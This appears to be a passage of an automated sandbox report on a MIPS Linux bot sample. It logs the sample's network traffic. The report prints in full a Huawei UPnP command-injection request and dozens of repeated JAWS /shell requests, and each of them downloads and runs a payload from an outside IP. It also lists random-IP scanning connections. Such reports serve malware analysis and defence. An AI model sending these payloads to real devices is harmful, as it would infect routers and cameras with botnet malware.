6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/mips.elf (PID: 6224)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown

DNS traffic detected: query: scamanje.stresserit.pro replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 134.84.47.7
Source: unknown	TCP traffic detected without corresponding DNS query: 67.72.51.7
Source: unknown	TCP traffic detected without corresponding DNS query: 52.244.205.160
Source: unknown	TCP traffic detected without corresponding DNS query: 95.101.58.6
Source: unknown	TCP traffic detected without corresponding DNS query: 125.213.8.250
Source: unknown	TCP traffic detected without corresponding DNS query: 31.43.0.143
Source: unknown	TCP traffic detected without corresponding DNS query: 82.239.143.253
Source: unknown	TCP traffic detected without corresponding DNS query: 168.173.40.242
Source: unknown	TCP traffic detected without corresponding DNS query: 78.9.246.97
Source: unknown	TCP traffic detected without corresponding DNS query: 167.15.101.204
Source: unknown	TCP traffic detected without corresponding DNS query: 89.181.94.80
Source: unknown	TCP traffic detected without corresponding DNS query: 160.50.245.196
Source: unknown	TCP traffic detected without corresponding DNS query: 36.12.145.200
Source: unknown	TCP traffic detected without corresponding DNS query: 191.84.30.74
Source: unknown	TCP traffic detected without corresponding DNS query: 37.43.100.58
Source: unknown	TCP traffic detected without corresponding DNS query: 32.163.157.227
Source: unknown	TCP traffic detected without corresponding DNS query: 221.56.151.4
Source: unknown	TCP traffic detected without corresponding DNS query: 123.237.130.154
Source: unknown	TCP traffic detected without corresponding DNS query: 201.153.15.238
Source: unknown	TCP traffic detected without corresponding DNS query: 141.204.24.64
Source: unknown	TCP traffic detected without corresponding DNS query: 73.125.41.208
Source: unknown	TCP traffic detected without corresponding DNS query: 175.115.115.181
Source: unknown	TCP traffic detected without corresponding DNS query: 156.15.230.48
Source: unknown	TCP traffic detected without corresponding DNS query: 94.247.33.44
Source: unknown	TCP traffic detected without corresponding DNS query: 38.181.31.77
Source: unknown	TCP traffic detected without corresponding DNS query: 79.229.119.98
Source: unknown	TCP traffic detected without corresponding DNS query: 152.128.82.19
Source: unknown	TCP traffic detected without corresponding DNS query: 122.13.192.233
Source: unknown	TCP traffic detected without corresponding DNS query: 95.203.192.134
Source: unknown	TCP traffic detected without corresponding DNS query: 212.42.202.55
Source: unknown	TCP traffic detected without corresponding DNS query: 51.37.80.112
Source: unknown	TCP traffic detected without corresponding DNS query: 190.59.3.198
Source: unknown	TCP traffic detected without corresponding DNS query: 183.199.191.30
Source: unknown	TCP traffic detected without corresponding DNS query: 213.246.179.200
Source: unknown	TCP traffic detected without corresponding DNS query: 49.41.92.67
Source: unknown	TCP traffic detected without corresponding DNS query: 79.100.89.199
Source: unknown	TCP traffic detected without corresponding DNS query: 144.174.108.31
Source: unknown	TCP traffic detected without corresponding DNS query: 160.61.136.163
Source: unknown	TCP traffic detected without corresponding DNS query: 179.61.234.169
Source: unknown	TCP traffic detected without corresponding DNS query: 139.187.56.48
Source: unknown	TCP traffic detected without corresponding DNS query: 180.115.188.199
Source: unknown	TCP traffic detected without corresponding DNS query: 38.44.238.122
Source: unknown	TCP traffic detected without corresponding DNS query: 35.142.151.85
Source: unknown	TCP traffic detected without corresponding DNS query: 198.208.233.103
Source: unknown	TCP traffic detected without corresponding DNS query: 104.58.162.104
Source: unknown	TCP traffic detected without corresponding DNS query: 98.146.238.168
Source: unknown	TCP traffic detected without corresponding DNS query: 181.44.200.217
Source: unknown	TCP traffic detected without corresponding DNS query: 159.181.177.249
Source: unknown	TCP traffic detected without corresponding DNS query: 63.74.107.40
Source: unknown	TCP traffic detected without corresponding DNS query: 4.240.98.245

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
